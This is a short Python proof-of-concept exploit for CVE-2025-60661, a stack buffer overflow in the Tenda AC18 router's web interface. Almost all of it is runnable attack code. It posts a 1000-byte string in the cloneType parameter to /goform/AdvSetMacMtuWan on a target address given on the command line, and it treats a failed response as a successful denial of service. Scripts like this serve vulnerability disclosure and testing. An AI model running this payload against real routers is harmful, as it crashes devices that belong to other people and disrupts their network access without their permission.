CVE-2025-60661

# CVE-2025-60661 PoC - Tenda AC18 Stack Overflow via cloneType parameter # Vulnerability: Stack buffer overflow in fromAdvSetMacMtuWan function # Affected: Tenda AC18 V15.03.05.19 import requests import sys TARGET = sys.argv[1] if len(sys.argv) > 1 else "192.168.0.1" PORT = 80 # Construct the overflow payload # cloneType parameter is passed without proper length validation # causing stack buffer overflow in fromAdvSetMacMtuWan payload = "A" * 1000 # Overflow buffer with excessive data # Build the malicious request to the router's web interface url = f"http://{TARGET}:{PORT}/goform/AdvSetMacMtuWan" data = { "cloneType": payload, "mac": "00:11:22:33:44:55", "mtu": "1500" } print(f"[*] Targeting Tenda AC18 at {TARGET}") print(f"[*] Sending stack overflow payload via cloneType parameter...") try: response = requests.post(url, data=data, timeout=10) print(f"[*] Response status: {response.status_code}") print("[*] Payload sent successfully") except requests.exceptions.RequestException as e: print(f"[!] Target may have crashed (DoS achieved): {e}") print("[*] Check if router is still responsive")

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